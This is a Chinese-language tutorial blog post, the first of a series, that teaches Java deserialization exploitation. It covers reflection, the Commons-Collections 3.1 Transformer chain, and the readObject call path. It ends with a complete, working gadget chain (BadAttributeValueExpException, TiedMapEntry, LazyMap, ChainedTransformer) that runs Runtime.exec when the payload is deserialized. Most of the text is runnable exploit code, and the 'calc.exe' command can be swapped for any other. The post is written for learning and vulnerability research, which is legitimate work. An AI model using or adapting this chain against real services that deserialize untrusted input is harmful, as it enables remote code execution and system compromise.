从零开始的JAVA反序列化漏洞学习（一）
前言：
大概是决定复现JAVA的CVE，第一个拿cve-2016-4437试试，但是之前没接触过JAVA，在历经磨难安装好IDEA maven和依赖环境，跟着各位师傅的教程调试源代码发现大佬们的教程都是跟到 可以控制传入readObject()的反序列化就没了，再细查便是什么CC4，CC3.1之类看上去很深奥的东西。深感基础不足，从头开始学JAVA的各种机制，如有错误疏漏不足欢迎在评论中指出。
利用Java反射执行代码
Java的反序列化是离不开Java的反射机制的，反射机制离不开Object类和Class类，关于反射已经有很多大佬写过详解，这里只用两个例子来说明如何利用Java反射来执行代码
第一个，经典弹计算器
public class Hello {
public static void main(String[] args) throws Exception {
Hello helloTest = new Hello();
helloTest.oneTest();
}
public void oneTest() throws Exception{
Object runtime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
}
}
首先是几个关键的方法：
Class.forName()方法：
Class.forName是一个静态方法，可以用来加载类。该方法有两种形式：Class.forName(String name, boolean initialize, ClassLoader loader)和 Class.forName(String className)，参数String className为所需的类名，方法返回一个与给定的字符串名称相关联类或接口的Class对象。
getMethod()方法与invoke方法：一般同时使用
Method getMethod(String name,Class...parameterTypes)，参数String name表示mothod的名称，Class parameterTypes表示method的参数类型的列表（参数顺序需按声明method时的参数列表排列），符合method名称和参数的method对象
Object invoke(Object obj,Object...args)，调用包装在当前Method对象中的方法，参数Object obj表示实例化后的对象，Object args表示方法调用的参数
再来分析例子中的第一部分代码：
Object runtime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
相当于调用了 Runtime类中的getRuntime方法并赋值给runtime，我们查看一下getRuntime方法的代码：
public class Runtime {
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
return currentRuntime;
}
}
因为是static方法，不依附于任何对象，所以在用.invoke()调用时可以没有 参数Object obj，返回的一个new Runtime对象。
再看第二部分
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
相当于调用了 runtime.exec(“calc.exe”)，因为exec()方法不是static，所以invoke()方法需要一个Object obj参数，也就是第一部分返回的runtime。（PS. 个人觉得Java的反射机制有点模糊了 数据和程序 的边界，可以通过用户输入的字符串来调用没有预期的函数执行恶意命令。）
Transformer常见的恶意代码包装类
利用Transformer，我们可以构造一条可序列化的恶意的代码链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
test.runTest();
}
}
class TransformerTest {
public void runTest(){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
//ChainedTransformer transformerChain也可以是Transformer transformerChain
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//引爆点
transformerChain.transform(null);
try {
//serialize test
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(transformerChain);
} catch (IOException e) {
e.printStackTrace();
}
}
}
先是一个transformer数组里面添加了ConstantTransformer与InvokerTransformer，之后用该数组为参数构造一个ChainedTransformer transformerChain对象（这里也可以是Transformer transformerChain对象，ChainedTransformer类implements了Transformer），调用它的transform()方法
下断点调试下，可以看到ChainedTransformer的构造方法和transform()方法的代码为
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
也就是transform()会依次调用transformer数组中transformer的transform()方法
继续调试，第一个是ConstantTransformer的transform()
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
//iConstant = class java.lang.Runtime
public Object transform(Object input) {
return this.iConstant;
}
返回了class java.lang.Runtime，再进入InvokerTransformer的transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
//input：class java.lang.Runtime
if (input == null) {
return null;
} else {
try {
//iMethodName：getMethod
//iParamTypes：Class[]{String.class,Class[].class}
//iArgs：Object[]{"getRuntime", new Class[0]}
Class cls = input.getClass();
//调用getMethod来获取getMethod
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//调用invoke来执行getMethod来获取getRuntime方法
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
用上面的反射基础知识可以知道，调用了Runtime的getMethod()方法（用一个与Runtime相关联的class对象来调用的），来查找getRuntime()方法，返回一个public static java.lang.Runtime java.lang.Runtime.getRuntime()，（挺绕的，用getMethod来获取getMethod，再用invoke来执行getMethod来获取getRuntime）
也就是InvokerTransformer类的transform()方法将会以InvokerTransformer(方法名称, 参数类型,方法参数)的形式调用方法，而方法所在的类或对象则是由链条上一步来返回的。
同理下面将执行invoke()来获取Runtime对象，然后执行exec(“calc.exe”)，整体相当于
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
我们得到了一条可以执行恶意代码可以被序列化的ChainedTransformer transformerChain，但是我们如何能够让它能够在正常代码中执行它的transformerChain.transform(null) 方法来执行呢？
重写后的readObject如何被执行
（这是我个人不整明白不舒服的疑问，只粗略写了调试过程，不感兴趣的话可以略过）
首先我们要了解为什么在重写readObject()方法后，在反序列化时会调用重写后的方法而不是原方法，来看一个例子
import java.io.*;
public class Test {
public static void main(String[] args) throws Exception {
SerializeTest serializeTest = new SerializeTest();
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("temp"));
oos.writeObject(serializeTest);
oos.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("temp"));
Object p = ois.readObject();
// p.show();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
class SerializeTest implements Serializable {
String str = "hello";
public void show(){
System.out.println(str);
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
System.out.println("readObject run");
}
}
在Object p = ois.readObject();可以看见，它被反序列化为了Object对象而不是SerializeTest的，为什么它可以找到重写后的readObject呢？
下断点然后可以看到调用栈
首先通过下图的调用来读取序列化串来获取类名
接下来是如何调用重写后的readObject()，先是调用ObjectInputStream的readObject()方法
之后进入readObject0()，在方法内调用readSerialData(obj, desc);然后跟入 slotDesc.invokeReadObject(obj, this);-> readObjectMethod.invoke(obj, new Object[]{ in });
到达invoke()后就是我们上面提到的用反射来调用方法，执行了我们重写的readObject()方法
重写readObject方法导致的疏漏
例如在Java的代码中存在一个对象BadAttributeValueExpException，它重写了它的readObject()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以看到存在一个toString()方法，我们还要找到一条链可以从toString()调用到transformerChain.transform(null)
我们将采用Commons-collections 3.1提供的类LazyMap与TiedMapEntry
首先是LazyMap：存在LazyMap.decorate()，正常用法如下：
Map names = new HashMap();
Map lazyNames = LazyMap.decorate(names, transformer);
//将Map和transformer传递给lazymap
String name = (String) lazyNames.get("someName");
//调用LazyMap里面的get()方法，但当没有这个key时会调用transform方法得到value,返回get
System.out.println("name: "+name);
当我们尝试获取一个不存在的键值时，它会运行在LazyMap.decorate(names, transformer);中传入的transformer（有种PHP中的魔法方法的感觉），添加到我们的代码中测试一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
test.runTest();
}
}
class TransformerTest {
public void runTest() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(null);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
System.out.println(targetMap.get("anything"));
}
}
成功调用计算器
现在我们的目标便是从toString()调用到Map对象的get方法，需要使用TiedMapEntry再次包装
TiedMapEntry：该类主要的作用是将一个Map 绑定到 Map.Entry 下,形成一个映射
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
}
可以看到其中的getValue()实际上调用的便是map.get(key)，所以我们可以构造如下代码：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
test.runTest();
}
}
class TransformerTest {
public void runTest() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(null);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
// System.out.println(targetMap.get("anything"));
TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
entry.toString();
}
}
成功调用
我们来构造整个调用链
public Object getObject() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(null);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
// System.out.println(targetMap.get("anything"));
TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
// entry.toString();
// BadAttributeValueExpException val = new BadAttributeValueExpException(entry);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
//利用反射的方式来向对象传参
Field valfield = null;
try {
valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return val;
}
为什么要用反射给BadAttributeValueExpException中的val赋值呢？因为在其的构造函数中存在
也就是如果直接传入会直接在初始化的时候就执行了val.toString()引爆我们的攻击链，攻击本机一次（hhhhh）
完整测试代码：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
//序列化
byte[] serializeByte = test.serialize(test.getObject());
//反序列化
test.deserialize(serializeByte);
}
}
class TransformerTest {
public Object getObject() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(null);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
// System.out.println(targetMap.get("anything"));
TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
// entry.toString();
// BadAttributeValueExpException val = new BadAttributeValueExpException(entry);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
//利用反射的方式来向对象传参
Field valfield = null;
try {
valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return val;
}
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
参考
Java反序列化漏洞的原理分析
Java 反序列化过程深究